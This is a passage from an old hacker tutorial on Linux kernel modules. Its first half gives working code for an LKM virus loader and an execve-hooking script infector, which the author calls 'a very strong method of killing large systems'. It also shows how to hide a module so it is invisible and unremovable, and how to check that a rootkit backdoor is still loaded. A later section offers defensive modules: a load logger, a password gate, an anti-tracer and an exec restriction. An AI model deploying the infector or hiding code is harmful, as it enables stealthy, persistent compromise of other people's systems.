  2563. load_real_mod(char *path_name, char* name) which manages that problem :
  2564. <xmp>
  2565. /* Is that simple: we disinfect the module [hide 'n seek]
  2566. * and send a request to kerneld to load
  2567. * the orig mod. N0 fuckin' parsing for symbols and headers
  2568. * is needed - cool.
  2569. */
  2570. int load_real_mod(char *path_name, char *name)
  2571. {
  2572. int r = 0, i = 0;
  2573. struct file *file1, *file2;
  2574. int in = 0, out = 0;
  2575. DPRINTK("in load_real_mod name = %s\n", path_name);
  2576. if (VirCode)
  2577. vfree(VirCode);
  2578. VirCode = vmalloc(MODLEN);
  2579. if (!VirCode)
  2580. return -1;
  2581. BEGIN_KMEM
  2582. /*open the module just loaded (->the one which is already infected)*/
  2583. in = open(path_name, O_RDONLY, 0640);
  2584. END_KMEM
  2585. if (in <= 0)
  2586. return -1;
  2587. file1 = current->files->fd[in];
  2588. if (!file1)
  2589. return -1;
  2590. /* read Vircode [into mem] */
  2591. BEGIN_KMEM
  2592. file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
  2593. close(in);
  2594. END_KMEM
  2595. /*split virus / orig. module*/
  2596. disinfect(path_name);
  2597. /*load the orig. module with kerneld*/
  2598. r = request_module(name);
  2599. DPRINTK("in load_real_mod: request_module = %d\n", r);
  2600. return 0;
  2601. }
  2602. </xmp>
  2603. It should be clear *why* this LKM infector need kerneld now, we need to load the
  2604. original module by requesting it with request_module(...).
  2605. I hope you understood this very basic journey through the world of LKM infectors
  2606. (virus). The next sub sections will show some basic extensions / ideas concering
  2607. LKM infectors.
  2608. <H4><A NAME="II.8.1."></A>8.1 How a LKM virus can infect any file (not just modules)</h4>
  2609. Please don't blame me for not showing a working example of this idea, I just
  2610. don't have the time to implement it at the moment (look for further releases).
  2611. As you saw in II.4.2 it is possible to catch the execute of every file using
  2612. an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which
  2613. appends some data to the program that is going to be executed. The next time
  2614. this program is started, it first starts our added part and then the original
  2615. program (just a basic virus scheme). We all know that there are some existing
  2616. Linux / unix viruses out there, so why don't we try to use LKMs infect our elf
  2617. executables not just modules.We could infect our executables,in a way that they
  2618. check for UID=0 and then load again our infection module... I hope you
  2619. understood the general idea. <br>
  2620. I have to admit, that the modification needed to elf files is quite tricky, but
  2621. with enough time you could do it (it was done several times before, just take a
  2622. look at existing Linux viruses).<br>
  2623. First of all you have to check for the file type which is going to be execute
  2624. by sys_execve(...). There are several ways to do it; one of the fastest is to
  2625. read some bytes from the file and checking them against the ELF string. After
  2626. this you can use write(...) / read(...) / ... calls to modify the file, look at
  2627. the LKM infector to see how it does it.<br>
  2628. My theory would stay theory without any proof, so I present a very easy and
  2629. useless LKM *script* infector. You cannot do anything virus like with it, it just
  2630. infects a script with certain commands and nothing else; no real virus features.<br>
  2631. I show you this example as a concept of LKMs infecting any file you execute.
  2632. Even Java files could be infected, because of the features provided by the Linux
  2633. kernel. Here comes the little LKM script infector :
  2634. <xmp>
  2635. #define __KERNEL__
  2636. #define MODULE
  2637. /*taken from the original LKM infector; it makes the whole LKM a lot easier*/
  2638. #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
  2639. #define END_KMEM set_fs(old_fs);}
  2640. #include <linux/version.h>
  2641. #include <linux/mm.h>
  2642. #include <linux/unistd.h>
  2643. #include <linux/fs.h>
  2644. #include <linux/types.h>
  2645. #include <asm/errno.h>
  2646. #include <asm/string.h>
  2647. #include <linux/fcntl.h>
  2648. #include <sys/syscall.h>
  2649. #include <linux/module.h>
  2650. #include <linux/malloc.h>
  2651. #include <linux/kernel.h>
  2652. #include <linux/kerneld.h>
  2653. int __NR_myexecve;
  2654. extern void *sys_call_table[];
  2655. int (*orig_execve) (const char *, const char *[], const char *[]);
  2656. int (*open)(char *, int, int);
  2657. int (*write)(unsigned int, char*, unsigned int);
  2658. int (*read)(unsigned int, char*, unsigned int);
  2659. int (*close)(int);
  2660. /*see II.4.2 for explanation*/
  2661. int my_execve(const char *filename, const char *argv[], const char *envp[])
  2662. {
  2663. long __res;
  2664. __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
  2665. return (int) __res;
  2666. }
  2667. /*infected execve systemcall + infection routine*/
  2668. int hacked_execve(const char *filename, const char *argv[], const char *envp[])
  2669. {
  2670. char *test, j;
  2671. int ret;
  2672. int host = 0;
  2673. /*just a buffer for reading up to 20 files (needed for identification of
  2674. execute file*/
  2675. test = (char *) kmalloc(21, GFP_KERNEL);
  2676. /*open the host script, which is going to be executed*/
  2677. host=open(filename, O_RDWR|O_APPEND, 0640);
  2678. BEGIN_KMEM
  2679. /*read the first 20 bytes*/
  2680. read(host, test, 20);
  2681. /*is it a normal shell script (as you see, you can modify this for *any*
  2682. executable*/
  2683. if (strstr(test, "#!/bin/sh")!=NULL)
  2684. {
  2685. /*a little debug message*/
  2686. printk("<1>INFECT !\n");
  2687. /*we are friendly and attach a peaceful command*/
  2688. write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
  2689. }
  2690. END_KMEM
  2691. /*modification is done, so close our host*/
  2692. close(host);
  2693. /*free allocated memory*/
  2694. kfree(test);
  2695. /*execute the file (the file is execute WITH the changes made by us*/
  2696. ret = my_execve(filename, argv, envp);
  2697. return ret;
  2698. }
  2699. int init_module(void) /*module setup*/
  2700. {
  2701. __NR_myexecve = 250;
  2702. while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  2703. __NR_myexecve--;
  2704. orig_execve = sys_call_table[SYS_execve];
  2705. if (__NR_myexecve != 0)
  2706. {
  2707. printk("<1>everything OK\n");
  2708. sys_call_table[__NR_myexecve] = orig_execve;
  2709. sys_call_table[SYS_execve] = (void *) hacked_execve;
  2710. }
  2711. /*we need some functions*/
  2712. open = sys_call_table[__NR_open];
  2713. close = sys_call_table[__NR_close];
  2714. write = sys_call_table[__NR_write];
  2715. read = sys_call_table[__NR_read];
  2716. return 0;
  2717. }
  2718. void cleanup_module(void) /*module shutdown*/
  2719. {
  2720. sys_call_table[SYS_execve]=orig_execve;
  2721. }
  2722. </xmp>
  2723. This is too easy to waste some words on it. Of course, this module does
  2724. <i>not</i> need kerneld for spreading (interesting for kernel without kerneld
  2725. support). <br>
  2726. I hope you got the idea on infecting any executable, this is a very strong
  2727. method of killing large systems.
  2728. <H4><A NAME="II.8.2."></A>8.2 How can a LKM virus help us to get in</h4>
  2729. As you know virus coders are not hackers, so what about interesting features for
  2730. hackers. Think about this problem (only ten seconds), you should realize, that
  2731. a whole system could be yours by introducing a trojan (infected) LKM.<br>
  2732. Remember all the nice hacks we discussed till now.Even without trojans you could
  2733. hack a system with LKMs. Just use a local buffer overflow to load a LKM in your
  2734. home directoy. Believe me, it is easier to infect a system with a real good LKM
  2735. than doing the same stuff as root again and again. It's more elagent to let the
  2736. LKM make the work for you. Be CREATIVE...
  2737. <H3><A NAME="II.9."></A>9. Making our LKM invisible & unremovable </h3>
  2738. Now it's time to start talking about the most important / interesting Hack I
  2739. will present. This idea comes from plaguez's LKM published in Phrack (other
  2740. people like Solar Designer discussed this before...).<br>
  2741. So far we are able to hide files, processes, directories, and whatever we
  2742. want. But we <i>cannot</i> hide our own <i>LKM</i>. Just load a LKM and take a look at
  2743. /proc/modules. There are many ways we can solve this problem. The first solution
  2744. could be a partial file hiding (see II.4.3). This would be easy to implement,
  2745. but there is a better more advanced and secure way. Using this technique you
  2746. must also intercept the sys_query_module(...) systemcall. An example of this
  2747. approach can be seen in A-b.<br>
  2748. As I explained in I.1 a module is finally loaded by issuing a init_module(...)
  2749. systemcall which will start the module's init function. init_module(...) gets
  2750. an argument : struct mod_routines *routines. This structure contains very
  2751. important information for loading the LKM. It is possible for us to manipulate
  2752. some data from this structure in a way our module will have no name and no
  2753. references. After this the system will no longer show our LKM in /proc/modules,
  2754. because it ignores LKMs with no name and a refernce count equal to 0. The
  2755. following lines show how to access the part of mod_routines, in order to hide
  2756. the module.<br>
  2757. <xmp>
  2758. /*from Phrack & AFHRM*/
  2759. int init_module()
  2760. {
  2761. register struct module *mp asm("%ebp"); // or whatever register it is in
  2762. *(char*)mp->name=0;
  2763. mp->size=0;
  2764. mp->ref=0;
  2765. ...
  2766. </xmp>
  2767. This code trusts in the fact that gcc did not manipulate the ebp register
  2768. because we need it in order to find the right memory location. After finding
  2769. the structure we can set the structure's name and references members to 0 which
  2770. will make our module invisible and also unremovable, because you can only remove
  2771. LKMs which the kernel knows, but our module is unknow to the kernel.<br>
  2772. Remember that this trick only works if you use gcc in way it does not touch the
  2773. register you need to access for getting the structure.You must use the following
  2774. gcc options :
  2775. <xmp>
  2776. #gcc -c -O3 -fomit-frame-pointer module.c
  2777. </xmp>
  2778. fomit-frame-pointer says cc not to keep frame pointer in registers for functions
  2779. that don't need one. This keeps our register clean after the function call of
  2780. init_module(...), so that we can access the structure.<br>
  2781. In my opinion this is the most important trick, because it helps us to develope
  2782. hidden LKMs which are also unremovable.
  2783. <H3><A NAME="II.10."></A>10. Other ways of abusing the Kerneldaemon</h3>
  2784. In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM
  2785. infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine
  2786. the socketcall loading a module instead of starting our backdoor shellscript or
  2787. program. You could load a module adding an entry to passwd or inetd.conf. After
  2788. loading this second LKM you have many possibilities of changing systemfiles.
  2789. Again, be creative.
  2790. <H3><A NAME="II.11."></A>11. How to check for presents of our LKM</h3>
  2791. We learned many ways a module can help us to subvert a system. So imagine you
  2792. code yourself a nice backdoor tool (or take an existing) which isn't implemented
  2793. in the LKM you use on that system; just something like pingd, WWW remote shell,
  2794. shell, .... How can you check after logging in on the system that your LKM is
  2795. still working? Imagine what would happen if you enter a session and the admin is
  2796. waiting for you without your LKM loaded (so no process hiding etc.). So you
  2797. start doing you job on that system (reading your own logs, checking some mail
  2798. traffic and so on) and every step is monitored by the admin. Well no good
  2799. situation, we must know that our LKM is working with a simple check.<br>
  2800. I suppose the following way is a good solution (although there may be many other
  2801. good ones):
  2802. <ul>
  2803. <li> implement a special systemcall in your module<br>
  2804. <li> write a little user space program checking for that systemcall<br>
  2805. </ul>
  2806. Here is a module which implements our 'check systemcall' :
  2807. <xmp>
  2808. #define MODULE
  2809. #define __KERNEL__
  2810. #include <linux/module.h>
  2811. #include <linux/kernel.h>
  2812. #include <asm/unistd.h>
  2813. #include <sys/syscall.h>
  2814. #include <sys/types.h>
  2815. #include <asm/fcntl.h>
  2816. #include <asm/errno.h>
  2817. #include <linux/types.h>
  2818. #include <linux/dirent.h>
  2819. #include <sys/mman.h>
  2820. #include <linux/string.h>
  2821. #include <linux/fs.h>
  2822. #include <linux/malloc.h>
  2823. #define SYS_CHECK 200
  2824. extern void* sys_call_table[];
  2825. int sys_check()
  2826. {
  2827. return 666;
  2828. }
  2829. int init_module(void) /*module setup*/
  2830. {
  2831. sys_call_table[SYS_CHECK]=sys_check;
  2832. return 0;
  2833. }
  2834. void cleanup_module(void) /*module shutdown*/
  2835. {}
  2836. </xmp>
  2837. If you issue a systemcall with the number 200 in eax we should get a return of
  2838. 666. So here is our user space program checking for this :
  2839. <xmp>
  2840. #include <linux/errno.h>
  2841. #include <sys/syscall.h>
  2842. #include <errno.h>
  2843. extern void *sys_call_table[];
  2844. int check()
  2845. {
  2846. __asm__("movl $200,%eax
  2847. int $0x80");
  2848. }
  2849. main()
  2850. {
  2851. int ret;
  2852. ret = check();
  2853. if (ret!=666)
  2854. printf("Our module is *not* present !!\n");
  2855. else
  2856. printf("Our module is present, continue...\n");
  2857. }
  2858. </xmp>
  2859. In my opinion this is one of the easiest ways to check for presents of our LKM,
  2860. just try it.
  2861. <u><b>
  2862. <H2>III. Soltutions (for admins)</H2>
  2863. </u></b>
  2864. <P><P>
  2865. <H3><A NAME="III.1."></A>1. LKM Detector Theory & Ideas</h3>
  2866. I think it is time to help admins securing their system from hostile LKMs.<br>
  2867. Before explaining some theories remember the following for a secure system :<br>
  2868. <ul>
  2869. <li> never install <i>any</i> LKMs you don't have the sources for (of course, this is
  2870. also relevant for normal executables)<br>
  2871. <li> if you have the sources, check them (if you can). Remember the tcpd trojan
  2872. problem. Large software packets are mostly quite complex to understand, but
  2873. if you need a very secure system you should analyse the source code.<br>
  2874. </ul>
  2875. Even if you follow those tips it could be possible that an intruder activates an
  2876. LKM on your system (overflows etc.). <br>
  2877. So what about a LKM logging every module loaded, and denying every load attempt
  2878. from a directory different from a secure one (to avoid simple overflows; that's no
  2879. perfect way...). The logging can be easily done by intercepting the
  2880. create_module(...) systemcall. The same way you could check for the directory
  2881. the loaded module comes from. <br>
  2882. It would also be possible to deny any module loading, but this is a very bad way,
  2883. because you really need them. So what about modifying module loading in a way
  2884. you can supply a password, which will be checked in your intercepted
  2885. create_module(...). If the password is correct the module will be loaded, if not
  2886. it will be dropped.<br>
  2887. It should be clear that you have to hide your LKM to make it unremovable. So
  2888. let's take a look at some prototype implemantations of the logging LKM and the
  2889. password protected create_module(...) systemcall.<br>
  2890. <H4><A NAME="III.1.1."></A>1.1 Practical Example of a prototype Detector</h4>
  2891. Nothing to say about that simple implementation, just intercept
  2892. sys_create_module(...) and log the names of modules which were loaded.
  2893. <xmp>
  2894. #define MODULE
  2895. #define __KERNEL__
  2896. #include <linux/module.h>
  2897. #include <linux/kernel.h>
  2898. #include <asm/unistd.h>
  2899. #include <sys/syscall.h>
  2900. #include <sys/types.h>
  2901. #include <asm/fcntl.h>
  2902. #include <asm/errno.h>
  2903. #include <linux/types.h>
  2904. #include <linux/dirent.h>
  2905. #include <sys/mman.h>
  2906. #include <linux/string.h>
  2907. #include <linux/fs.h>
  2908. #include <linux/malloc.h>
  2909. extern void* sys_call_table[];
  2910. int (*orig_create_module)(char*, unsigned long);
  2911. int hacked_create_module(char *name, unsigned long size)
  2912. {
  2913. char *kernel_name;
  2914. char hide[]="ourtool";
  2915. int ret;
  2916. kernel_name = (char*) kmalloc(256, GFP_KERNEL);
  2917. memcpy_fromfs(kernel_name, name, 255);
  2918. /*here we log to syslog, but you can log where you want*/
  2919. printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
  2920. ret=orig_create_module(name, size);
  2921. return ret;
  2922. }
  2923. int init_module(void) /*module setup*/
  2924. {
  2925. orig_create_module=sys_call_table[SYS_create_module];
  2926. sys_call_table[SYS_create_module]=hacked_create_module;
  2927. return 0;
  2928. }
  2929. void cleanup_module(void) /*module shutdown*/
  2930. {
  2931. sys_call_table[SYS_create_module]=orig_create_module;
  2932. }
  2933. </xmp>
  2934. This is all you need, of course you should add the lines required for hiding the
  2935. module, but this is no problem. After making it unremovable this way, a hacker
  2936. can only modify the log file, but you could also save your logs, to a file
  2937. unaccessible for the hacker (see II.1 for required tricks).
  2938. Of course you can also intercept sys_init_module(...)which would also show every
  2939. module, that's just a matter of taste.
  2940. <H4><A NAME="III.1.2."></A>1.2 Practical Example of a prototype password protected create_module(...)</h4>
  2941. This subsection will deal with the possibility to add authentication to module
  2942. loading. We need two things to manage this task :
  2943. <ul>
  2944. <li> a way to check module loading (easy)<br>
  2945. <li> a way to authenticate (quite difficult)<br>
  2946. </ul>
  2947. The first point is very easy to code, just intercept sys_create_module(...) and
  2948. check some variable, which tells the kernel wether this load process is legal.
  2949. But how to do authentication. I must admit that I did not spend many seconds on
  2950. thinking about this problem, so the solution is more than bad, but this is a LKM
  2951. article, so use your brain, and create something better. My way to do it, was
  2952. to intercept the stat(...) systemcall, which is used if you type any command,and
  2953. the system needs to search it. So just type a password as command and the LKM
  2954. will check it in the intercepted stat call [I know this is more than insecure;
  2955. even a Linux starter would be able to defeat this authentication scheme, but
  2956. (again) this is not the point here...]. Take a look at my implemtation (I ripped
  2957. lots of from existing LKMs like the one by plaguez...):<br>
  2958. <xmp>
  2959. #define MODULE
  2960. #define __KERNEL__
  2961. #include <linux/module.h>
  2962. #include <linux/kernel.h>
  2963. #include <asm/unistd.h>
  2964. #include <sys/syscall.h>
  2965. #include <sys/types.h>
  2966. #include <asm/fcntl.h>
  2967. #include <asm/errno.h>
  2968. #include <linux/types.h>
  2969. #include <linux/dirent.h>
  2970. #include <sys/mman.h>
  2971. #include <linux/string.h>
  2972. #include <linux/fs.h>
  2973. #include <linux/malloc.h>
  2974. #include <sys/stat.h>
  2975. extern void* sys_call_table[];
  2976. /*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
  2977. int lock_mod=0;
  2978. int __NR_myexecve;
  2979. /*intercept create_module(...) and stat(...) systemcalls*/
  2980. int (*orig_create_module)(char*, unsigned long);
  2981. int (*orig_stat) (const char *, struct old_stat*);
  2982. char *strncpy_fromfs(char *dest, const char *src, int n)
  2983. {
  2984. char *tmp = src;
  2985. int compt = 0;
  2986. do {
  2987. dest[compt++] = __get_user(tmp++, 1);
  2988. }
  2989. while ((dest[compt - 1] != '\0') && (compt != n));
  2990. return dest;
  2991. }
  2992. int hacked_stat(const char *filename, struct old_stat *buf)
  2993. {
  2994. char *name;
  2995. int ret;
  2996. char *password = "password"; /*yeah, a great password*/
  2997. name = (char *) kmalloc(255, GFP_KERNEL);
  2998. (void) strncpy_fromfs(name, filename, 255);
  2999. /*do we have our password ?*/
  3000. if (strstr(name, password)!=NULL)
  3001. {
  3002. /*allow loading a module for one time*/
  3003. lock_mod=1;
  3004. kfree(name);
  3005. return 0;
  3006. }
  3007. else
  3008. {
  3009. kfree(name);
  3010. ret = orig_stat(filename, buf);
  3011. }
  3012. return ret;
  3013. }
  3014. int hacked_create_module(char *name, unsigned long size)
  3015. {
  3016. char *kernel_name;
  3017. char hide[]="ourtool";
  3018. int ret;
  3019. if (lock_mod==1)
  3020. {
  3021. lock_mod=0;
  3022. ret=orig_create_module(name, size);
  3023. return ret;
  3024. }
  3025. else
  3026. {
  3027. printk("<1>MOD-POL : Permission denied !\n");
  3028. return 0;
  3029. }
  3030. return ret;
  3031. }
  3032. int init_module(void) /*module setup*/
  3033. {
  3034. __NR_myexecve = 200;
  3035. while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  3036. __NR_myexecve--;
  3037. sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
  3038. orig_stat=sys_call_table[SYS_prev_stat];
  3039. sys_call_table[SYS_prev_stat]=hacked_stat;
  3040. orig_create_module=sys_call_table[SYS_create_module];
  3041. sys_call_table[SYS_create_module]=hacked_create_module;
  3042. printk("<1>MOD-POL LOADED...\n");
  3043. return 0;
  3044. }
  3045. void cleanup_module(void) /*module shutdown*/
  3046. {
  3047. sys_call_table[SYS_prev_stat]=orig_stat;
  3048. sys_call_table[SYS_create_module]=orig_create_module;
  3049. }
  3050. </xmp>
  3051. This code should be clear. The following list tells you what to improve in this
  3052. LKM in order to make it more secure, perhaps a bit too paranoid :) :
  3053. <ul>
  3054. <li>find another way to authenticate (use your own user space interface, with your
  3055. own systemcalls; use userID (not just a plain password); perhaps you have a
  3056. biometric device -> read documentation and code your device driver for Linux
  3057. and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles,
  3058. biometric, smartcard systems can often be defeated because of a very insecure
  3059. software interface;. You could secure your whole system with a mechanism like
  3060. that. Control your whole kernel with a smartcard :)<br>
  3061. Another not so 'extreme' way would be to implement your own systemcall which is
  3062. responsible for authentication. (see II.11 for an example of creating your
  3063. own systemcall).<br>
  3064. <li>find a better way to check in sys_create_module(...). Checking a variable is
  3065. not very secure, if someone rooted your system he could patch the memory (see
  3066. the next part)<br>
  3067. <li>find a way to make it impossible for an attacker to use your authentication
  3068. for insmod'ing his LKM <br>
  3069. <li>add hiding features<br>
  3070. <li>...<br>
  3071. </ul>
  3072. You can see, there is some work to do. But even with those steps, your system
  3073. cannot be totally secure.If someone rooted the system he could find other tricks
  3074. to load his LKM (see next part); perhaps he even does not need a LKM, because he
  3075. only rooted thesystem, and don't want to hide files / processeses (and the other
  3076. wonderfull things possible with LKMs).
  3077. <H3><A NAME="III.2."></A>2. Anti-LKM-Infector ideas</h3
  3078. In this section I will concentrate on the LKM Infector by SVAT, because I cannot
  3079. present a generic LKM infection scanner. Perhaps this would be possible with
  3080. something like heuristic tests or something similar. There are many ways you
  3081. can implement a LKM infector scanner. You can divide them into two big groups :
  3082. <ul>
  3083. <li> memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD
  3084. scanner virus in WIN9x)<br>
  3085. <li> file checking scanner (checking module files for signs of an infection)<br>
  3086. </ul>
  3087. The first method is possible through intercepting sys_create_module (or the
  3088. init_module call). The second approach needs something characteristic which you
  3089. may find in any infected file. We know that the LKM infector appends two module
  3090. files. So we could check for two ELF headers / signatures. Of course, any other
  3091. LKM infector could use a improved method (encryption, selfmodifying code etc.).
  3092. I won't present a file checking scanner, because you just have to write a little
  3093. (user space) programm that reads in the module, and checks for twe ELF headers
  3094. (the 'ELF' string, for example).
  3095. <H3><A NAME="III.3."></A>3. Make your programs untraceable (theory)</h3>
  3096. Now it's time to beat hackers snooping our executables. As I said before strace
  3097. is the tool of our choice. I presented it as a tool helping us to see which
  3098. systemcalls are used in certain programs. Another very interesting use of strace
  3099. is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to
  3100. use strace for TTY hijacking. Just strace your neighbours shell,and you will get
  3101. every input he makes. So you admins should realize the danger of strace. The
  3102. program strace uses the following API function :<br>
  3103. <xmp>
  3104. #include <sys/ptrace.h>
  3105. int ptrace(int request, int pid, int addr, int data);
  3106. </xmp>
  3107. Well how can we control strace? Don't be silly and remove strace from your
  3108. system, and think everything is ok - as I show you ptrace(...) is a library
  3109. function. Every hacker can code his own program doing the same as strace. So
  3110. we need a better more secure solution. Your first idea could be to search for
  3111. an interesting systemcall that could be responsible for the tracing; There is
  3112. a systemcall doing that; but let's look at another approach before.<br>
  3113. Remember II.5.1 : I talked about the task flags. There were two flags which
  3114. stand for traced processes. This is the way we can control the tracing on our
  3115. system. Just intercept the sys_execve(...) systemcall and check the current
  3116. process for one of the two flags set.<br>
  3117. <H4><A NAME="III.3.1."></A>3.1 Practical Example of a prototype Anti-Tracer</h4>
  3118. This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from
  3119. 4. The flags field from our process can easily be retrieved using the current
  3120. pointer (task structure). The rest is nothing new.
  3121. <xmp>
  3122. #define MODULE
  3123. #define __KERNEL__
  3124. #include <linux/module.h>
  3125. #include <linux/kernel.h>
  3126. #include <asm/unistd.h>
  3127. #include <sys/syscall.h>
  3128. #include <sys/types.h>
  3129. #include <asm/fcntl.h>
  3130. #include <asm/errno.h>
  3131. #include <linux/types.h>
  3132. #include <linux/dirent.h>
  3133. #include <sys/mman.h>
  3134. #include <linux/string.h>
  3135. #include <linux/fs.h>
  3136. #include <linux/malloc.h>
  3137. extern void* sys_call_table[];
  3138. int __NR_myexecve;
  3139. int (*orig_execve) (const char *, const char *[], const char *[]);
  3140. char *strncpy_fromfs(char *dest, const char *src, int n)
  3141. {
  3142. char *tmp = src;
  3143. int compt = 0;
  3144. do {
  3145. dest[compt++] = __get_user(tmp++, 1);
  3146. }
  3147. while ((dest[compt - 1] != '\0') && (compt != n));
  3148. return dest;
  3149. }
  3150. int my_execve(const char *filename, const char *argv[], const char *envp[])
  3151. {
  3152. long __res;
  3153. __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
  3154. (filename)), "c"((long) (argv)), "d"((long) (envp)));
  3155. return (int) __res;
  3156. }
  3157. int hacked_execve(const char *filename, const char *argv[], const char *envp[])
  3158. {
  3159. int ret, tmp;
  3160. unsigned long mmm;
  3161. char *kfilename;
  3162. /*check for the flags*/
  3163. if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {
  3164. /*we are traced, so print the traced process (program name) and return
  3165. without execution*/
  3166. kfilename = (char *) kmalloc(256, GFP_KERNEL);
  3167. (void) strncpy_fromfs(kfilename, filename, 255);
  3168. printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
  3169. kfree(kfilename);
  3170. return 0;
  3171. }
  3172. ret = my_execve(filename, argv, envp);
  3173. return ret;
  3174. }
  3175. int init_module(void) /*module setup*/
  3176. {
  3177. __NR_myexecve = 200;
  3178. while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  3179. __NR_myexecve--;
  3180. orig_execve = sys_call_table[SYS_execve];
  3181. if (__NR_myexecve != 0)
  3182. {
  3183. sys_call_table[__NR_myexecve] = orig_execve;
  3184. sys_call_table[SYS_execve] = (void *) hacked_execve;
  3185. }
  3186. return 0;
  3187. }
  3188. void cleanup_module(void) /*module shutdown*/
  3189. {
  3190. sys_call_table[SYS_execve]=orig_execve;
  3191. }
  3192. <xmp>
  3193. This LKM also logs any executable someone wanted to execute with tracing. Well
  3194. this LKM checks for some flags, but what if you start tracing a program which
  3195. is already running. Just imagine a program (shell or whatever) running with the
  3196. PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this
  3197. hooking sys_ptrace(...) is the only way. Look at the following module :
  3198. <xmp>
  3199. #define MODULE
  3200. #define __KERNEL__
  3201. #include <linux/module.h>
  3202. #include <linux/kernel.h>
  3203. #include <asm/unistd.h>
  3204. #include <sys/syscall.h>
  3205. #include <sys/types.h>
  3206. #include <asm/fcntl.h>
  3207. #include <asm/errno.h>
  3208. #include <linux/types.h>
  3209. #include <linux/dirent.h>
  3210. #include <sys/mman.h>
  3211. #include <linux/string.h>
  3212. #include <linux/fs.h>
  3213. #include <linux/malloc.h>
  3214. extern void* sys_call_table[];
  3215. int (*orig_ptrace)(long request, long pid, long addr, long data);
  3216. int hacked_ptrace(long request, long pid, long addr, long data)
  3217. {
  3218. printk("TRACING IS NOT ALLOWED\n");
  3219. return 0;
  3220. }
  3221. int init_module(void) /*module setup*/
  3222. {
  3223. orig_ptrace=sys_call_table[SYS_ptrace];
  3224. sys_call_table[SYS_ptrace]=hacked_ptrace;
  3225. return 0;
  3226. }
  3227. void cleanup_module(void) /*module shutdown*/
  3228. {
  3229. sys_call_table[SYS_ptrace]=orig_ptrace;
  3230. }
  3231. <xmp>
  3232. Use this LKM and no one will be able to trace anymore.
  3233. <H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3>
  3234. This section subject may sound familiar to Phrack readers. Route introduced nice
  3235. ideas for making the Linux system more secure. He used some patches. I want to
  3236. show that some ideas can also be implemented by LKMs. Remember that without
  3237. hiding those LKMs it is also <i>useful</i> (of course hiding is something you should
  3238. do), because route's patches are also worthless if someone rooted the system;
  3239. and a non-priviledged user can <i>not</i> remove our LKM, but he can see it.
  3240. The advantage of using LKMs instead of a static kernel patch : you can easily
  3241. manage the whole system security, and install it more easily on running system.
  3242. It's not necessary to install a new kernel on sensitive system you need every
  3243. second.<br>
  3244. The Phrack patches also added some logging feature's which I did not implement
  3245. but there are thousand ways to do it.The simpelst way would be using printk(...)
  3246. [Note : I did not look at every aspect of route's patches. Perhaps real good
  3247. kernel hackers would be able to do more with LKMs.]
  3248. <H4><A NAME="III.4.1."></A>4.1 Why should we allow arbitrary programs execution rights? </h4>
  3249. The following LKM is something like route's kernel patch that checks for
  3250. execution rights :
  3251. <xmp>
  3252. #define __KERNEL__
  3253. #define MODULE
  3254. #include <linux/version.h>
  3255. #include <linux/mm.h>
  3256. #include <linux/unistd.h>
  3257. #include <linux/fs.h>
  3258. #include <linux/types.h>
  3259. #include <asm/errno.h>
  3260. #include <asm/string.h>
  3261. #include <linux/fcntl.h>
  3262. #include <sys/syscall.h>
  3263. #include <linux/module.h>
  3264. #include <linux/malloc.h>
  3265. #include <linux/kernel.h>
  3266. #include <linux/kerneld.h>
  3267. /* where the sys_calls are */
  3268. int __NR_myexecve = 0;
  3269. extern void *sys_call_table[];
  3270. int (*orig_execve) (const char *, const char *[], const char *[]);
  3271. int (*open)(char *, int, int);
  3272. int (*close)(int);
  3273. char *strncpy_fromfs(char *dest, const char *src, int n)
  3274. {
  3275. char *tmp = src;
  3276. int compt = 0;
  3277. do {
  3278. dest[compt++] = __get_user(tmp++, 1);
  3279. }
  3280. while ((dest[compt - 1] != '\0') && (compt != n));
  3281. return dest;
  3282. }
  3283. int my_execve(const char *filename, const char *argv[], const char *envp[])
  3284. {
  3285. long __res;
  3286. __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
  3287. (filename)), "c"((long) (argv)), "d"((long) (envp)));
  3288. return (int) __res;
  3289. }
  3290. int hacked_execve(const char *filename, const char *argv[], const char *envp[])
  3291. {
  3292. int fd = 0, ret;
  3293. struct file *file;
  3294. /*we need the inode strucure*/
  3295. /*I use the open approach here, because you should understand it from the LKM
  3296. infector, read on for seeing a better approach*/
  3297. fd = open(filename, O_RDONLY, 0);
  3298. file = current->files->fd[fd];
  3299. /*is this a root file ?*/
  3300. /*Remember : you can do other checks here (route did more checks), but this
  3301. is just for demonstration. Take a look at the inode structur to
  3302. see other items to heck for (linux/fs.h)*/
  3303. if (file->f_inode->i_uid!=0)
  3304. {
  3305. printk("<1>Execution denied !\n");
  3306. close(fd);
  3307. return -1;
  3308. }
  3309. else /*otherwise let the user execute the file*/
  3310. {
  3311. ret = my_execve(filename, argv, envp);
  3312. return ret;
  3313. }
  3314. }
  3315. int init_module(void) /*module setup*/
  3316. {
  3317. printk("<1>INIT \n");
  3318. __NR_myexecve = 250;
  3319. while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  3320. __NR_myexecve--;
  3321. orig_execve = sys_call_table[SYS_execve];
  3322. if (__NR_myexecve != 0)
  3323. {
  3324. printk("<1>everything OK\n");
  3325. sys_call_table[__NR_myexecve] = orig_execve;
  3326. sys_call_table[SYS_execve] = (void *) hacked_execve;
  3327. }
